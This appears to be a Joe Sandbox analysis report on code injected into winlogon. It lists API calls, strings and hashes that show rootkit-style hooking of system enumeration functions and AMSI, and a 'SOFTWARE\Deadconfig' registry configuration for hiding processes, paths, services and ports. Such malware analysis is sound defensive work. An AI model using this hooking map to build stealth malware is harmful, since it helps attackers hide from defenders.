Function 00000225DC6429B0 Relevance: 3.1, APIs: 2, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 00000225DC6429EF
NtEnumerateValueKey.NTDLL ref: 00000225DC642A23

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: c7d29f1da1c35067c358ffcc45280992f1212d67cf94ff1f26cc45362ca16225
Instruction ID: e0bf969e9573ba16cdea1d0d60eb7923deb9c3e45bdbfb511f310f72bab8fb95
Opcode Fuzzy Hash: c7d29f1da1c35067c358ffcc45280992f1212d67cf94ff1f26cc45362ca16225
Instruction Fuzzy Hash: 4C11A23A20CBA092E775DF9EB84461AB394F384B95F618065EE8A83710EF34C4C6C740

Function 00000225DC641628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641633
HeapAlloc.KERNEL32 ref: 00000225DC641642

Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC64126E
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC64127D
Part of subcall function 00000225DC641268: GetProcessHeap.KERNEL32 ref: 00000225DC641297
Part of subcall function 00000225DC641268: HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641006
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641015
Part of subcall function 00000225DC641000: GetProcessHeap.KERNEL32 ref: 00000225DC641028
Part of subcall function 00000225DC641000: HeapAlloc.KERNEL32 ref: 00000225DC641037

RegOpenKeyExW.KERNELBASE ref: 00000225DC6416B2
RegOpenKeyExW.KERNELBASE ref: 00000225DC6416DF
RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
RegOpenKeyExW.KERNELBASE ref: 00000225DC641719
RegCloseKey.KERNELBASE ref: 00000225DC641734
RegOpenKeyExW.KERNELBASE ref: 00000225DC641754
RegCloseKey.ADVAPI32 ref: 00000225DC64176F
RegOpenKeyExW.KERNELBASE ref: 00000225DC64178F
RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
RegOpenKeyExW.KERNELBASE ref: 00000225DC6417CA
RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
RegOpenKeyExW.KERNELBASE ref: 00000225DC641805
RegCloseKey.ADVAPI32 ref: 00000225DC641820
RegOpenKeyExW.KERNELBASE ref: 00000225DC641840
RegCloseKey.ADVAPI32 ref: 00000225DC64185B
RegOpenKeyExW.KERNELBASE ref: 00000225DC64187B
RegCloseKey.ADVAPI32 ref: 00000225DC641896
RegCloseKey.KERNELBASE ref: 00000225DC6418A0

Part of subcall function 00000225DC6412BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC641327
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC641338
Part of subcall function 00000225DC6412BC: RegEnumValueW.ADVAPI32 ref: 00000225DC641397
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC6413ED
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64140A
Part of subcall function 00000225DC6412BC: HeapFree.KERNEL32 ref: 00000225DC641418
Part of subcall function 00000225DC6412BC: lstrlenW.KERNEL32 ref: 00000225DC641421
Part of subcall function 00000225DC6412BC: GetProcessHeap.KERNEL32 ref: 00000225DC64142F
Part of subcall function 00000225DC6412BC: HeapAlloc.KERNEL32 ref: 00000225DC64143D

Strings

pid, xrefs: 00000225DC641712
process_names, xrefs: 00000225DC64174D
udp, xrefs: 00000225DC641874
service_names, xrefs: 00000225DC6417C3
paths, xrefs: 00000225DC641788
SOFTWARE\Deadconfig, xrefs: 00000225DC641692
tcp_remote, xrefs: 00000225DC641839
tcp_local, xrefs: 00000225DC6417FE
startup, xrefs: 00000225DC6416D5

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: aad90fbc9abf91f474f9009489ed57291f689121fcda537680ac4bbedb82104b
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 7C712F3A324F20A6EB109FA9E85869D37B4F784F8AF509521DE4E47B69EF34C445C740

Function 00000225DC645F50 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645F8B
GetThreadContext.KERNEL32 ref: 00000225DC6460F5

Part of subcall function 00000225DC645D80: GetCurrentThreadId.KERNEL32 ref: 00000225DC645D84

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 04eb4b821cfb78ceefbf78a645bcab5cb65f7271ac457b266e4150bc93d30c0d
Instruction ID: 6b8e7d18f0b85bd53694ac57d10ebcb7ae98c315cd64fb94ae0e802435b0b8b6
Opcode Fuzzy Hash: 04eb4b821cfb78ceefbf78a645bcab5cb65f7271ac457b266e4150bc93d30c0d
Instruction Fuzzy Hash: 5DD19C7A21CF9895EA70DB9AE49835A77A0F3C8B85F104156EACE47BA5DF3CC541CB00

Function 00000225DC6454F0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645576

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5da0d5c4ace7b3df51b797f0c4c7771e58ce7a7ec004b9d6d28105fb697354a3
Instruction ID: a8847a8707aee4229bb7f638773afa3f00201387ed177329a4ffc1b3de07b110
Opcode Fuzzy Hash: 5da0d5c4ace7b3df51b797f0c4c7771e58ce7a7ec004b9d6d28105fb697354a3
Instruction Fuzzy Hash: A802EB3A21DB9496EB60CB99F49435AB7A1F3C5795F104055EA8E87BA8DF7CC484CF00

Function 00000225DC643BB8 Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643BF4
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C34
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C55

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: ecad29a5d92746c3c18f8328d0e188f3c62a98b5fc453ac47458802f6d7a0afc
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: 26118E2E718F64A2EB159BA9E44C3697260F748F85F148435DE8D07794EF3DC548C700

Function 00000225DC612AB8 Relevance: 6.2, APIs: 4, Instructions: 241memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000225DC612B77
VirtualProtect.KERNELBASE ref: 00000225DC612BA1
LoadLibraryA.KERNELBASE ref: 00000225DC612C29
VirtualProtect.KERNELBASE ref: 00000225DC612DB9

Memory Dump Source

Source File: 0000000B.00000003.1759673624.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_225dc610000_winlogon.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: 57904fb719dbcf7ce7db4895da7f5d34b6f39376f0c1471c62ba19f9c4407fb4
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 5E91327AB12AA097EF658F69D008769B3E1F754B9AF54C125DF4A47B88DA38D802C700

Function 00000225DC643E00 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000225DC643E86
VirtualAlloc.KERNEL32 ref: 00000225DC643EC0

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: d67b081f5b52b9db25ef63bd3fc49ef94c05e675607d2408fbad0ef13c5677fc
Instruction ID: 7368f0824190400fd5ed9cfb9fff0c2e4f110b6e7a9d9859b1506aa5e2943c8e
Opcode Fuzzy Hash: d67b081f5b52b9db25ef63bd3fc49ef94c05e675607d2408fbad0ef13c5677fc
Instruction Fuzzy Hash: A9314F3621EE98A1EA70DB9CF05835A76A0F388B85F508575F6CE46B98DF7DC581CB00

Function 00000225DC643618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000225DC643631
PathFindFileNameW.SHLWAPI ref: 00000225DC643640

Part of subcall function 00000225DC643C70: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64255A), ref: 00000225DC643C88

Part of subcall function 00000225DC643BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643BC6
Part of subcall function 00000225DC643BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643BF4
Part of subcall function 00000225DC643BB8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C16
Part of subcall function 00000225DC643BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C34
Part of subcall function 00000225DC643BB8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643657), ref: 00000225DC643C55

CreateThread.KERNELBASE ref: 00000225DC643687

Part of subcall function 00000225DC641D3C: GetCurrentThread.KERNEL32 ref: 00000225DC641D47

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: 9f01a0d394e9f497953db1b42ee56594c734cff64a0db99230737221b0b2cb23
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: 37115E7C62CE36B2FB64ABE8A50D35A3690BB55B57F60C5B5E907856D0EF7CC104C600

Function 00000225DC645210 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC645214
VirtualProtect.KERNEL32 ref: 00000225DC645257
FlushInstructionCache.KERNEL32 ref: 00000225DC64526C

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: e1a380b039a1d49db448bdd609ecfca87e994cc091e9a901e35142708e003b4b
Instruction ID: 86d1713a14f383e0431d41c073f07963a759e0e8e73e7186f31f9d4de3268f0f
Opcode Fuzzy Hash: e1a380b039a1d49db448bdd609ecfca87e994cc091e9a901e35142708e003b4b
Instruction Fuzzy Hash: F6F0303A61CF14A0D630DB59E44434B77A0F3887D5F548152F98E03B69DA38C290CF04

Function 00000225DC641AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641628: GetProcessHeap.KERNEL32 ref: 00000225DC641633
Part of subcall function 00000225DC641628: HeapAlloc.KERNEL32 ref: 00000225DC641642
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6416B2
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6416DF
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6416F9
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641719
Part of subcall function 00000225DC641628: RegCloseKey.KERNELBASE ref: 00000225DC641734
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641754
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64176F
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC64178F
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417AA
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC6417CA

SleepEx.KERNELBASE ref: 00000225DC641AE3

Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC6417E5
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641805
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641820
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC641840
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC64185B
Part of subcall function 00000225DC641628: RegOpenKeyExW.KERNELBASE ref: 00000225DC64187B
Part of subcall function 00000225DC641628: RegCloseKey.ADVAPI32 ref: 00000225DC641896
Part of subcall function 00000225DC641628: RegCloseKey.KERNELBASE ref: 00000225DC6418A0

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: 5cdb0bb0ba144f38185c4d45c3f0ba974282997b764186fa0b30638e5480d31c
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: A72146A921CE20E1FB50DBEFD9593A933A4A744BC7F04D4618E0F872A5EE34C451C200

Non-executed Functions

Function 00000225DC6481B0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6481CC
RtlCaptureContext.NTDLL ref: 00000225DC6481F9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC648213
RtlVirtualUnwind.NTDLL ref: 00000225DC648254
IsDebuggerPresent.KERNEL32 ref: 00000225DC6482A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6482C9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6482D4

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: ef80b3d61712d37991047624d5b70c5c4d71fb90542e1b129de85fb681dee4ce
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: 08318F76219F90E6EB608FA4E8543EE7364F788B45F44852ADB4E47B98DF38C548C710

Function 00000225DC64B62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64B6A5
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64B6BD
RtlVirtualUnwind.NTDLL ref: 00000225DC64B6F8
IsDebuggerPresent.KERNEL32 ref: 00000225DC64B731
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64B73B
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64B746

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 05cd3e160029e1e732615cc7e20f52405f780a1c2cb12fa09db82b9c2cc8f869
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: 7231853A218F90A6DB60CF69E8447DE73A4F788B55F544526EB8E43BA8DF38C145CB00

Function 00000225DC650018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC650087
WriteFile.KERNEL32 ref: 00000225DC65033E
WriteFile.KERNEL32 ref: 00000225DC650390
GetLastError.KERNEL32 ref: 00000225DC650492
GetLastError.KERNEL32 ref: 00000225DC6504F2

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: 03c8dc79bdc2999bb57e8ee348579c7cb0382e07fa747561d973084f905eb7f7
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: C3E1127A728FA0AAE700CFA8D4882DD7BB1F745B89F24C116DE4E57B99DA34C416C700

Function 00000225DC61B150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC61B180

Strings

*?, xrefs: 00000225DC61B1A7
HIJKLMNOPQRSTUVWXYZ, xrefs: 00000225DC61B503

Memory Dump Source

Source File: 0000000B.00000003.1759673624.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_225dc610000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 734ea35669d024df06483749a34a66f9902071fdec98b16f48637ea73e98c1c2
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 085106AA712FA4A5EF10CFEA98096AD27A1F788BD6F54C525EF0D07B85DA38C045C300

Function 00000225DC641D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641D47

Part of subcall function 00000225DC6420C0: GetModuleHandleA.KERNEL32(?,?,?,00000225DC641D79), ref: 00000225DC6420D8
Part of subcall function 00000225DC6420C0: GetProcAddress.KERNEL32(?,?,?,00000225DC641D79), ref: 00000225DC6420E9

Part of subcall function 00000225DC645F50: GetCurrentThreadId.KERNEL32 ref: 00000225DC645F8B

Strings

PdhGetRawCounterArrayW, xrefs: 00000225DC641E98
NtDeviceIoControlFile, xrefs: 00000225DC641E7E
PdhGetFormattedCounterArrayW, xrefs: 00000225DC641EB9
EnumServiceGroupW, xrefs: 00000225DC641E18
NtEnumerateKey, xrefs: 00000225DC641DE1
EnumServicesStatusExW, xrefs: 00000225DC641E39, 00000225DC641E5A
ntdll.dll, xrefs: 00000225DC641D55
NtQueryDirectoryFileEx, xrefs: 00000225DC641DC4
NtQueryDirectoryFile, xrefs: 00000225DC641DA7
NtResumeThread, xrefs: 00000225DC641D8A
NtEnumerateValueKey, xrefs: 00000225DC641DFE
amsi.dll, xrefs: 00000225DC641EE1
pdh.dll, xrefs: 00000225DC641E9F, 00000225DC641EC0
NtQuerySystemInformation, xrefs: 00000225DC641D6D
sechost.dll, xrefs: 00000225DC641E61
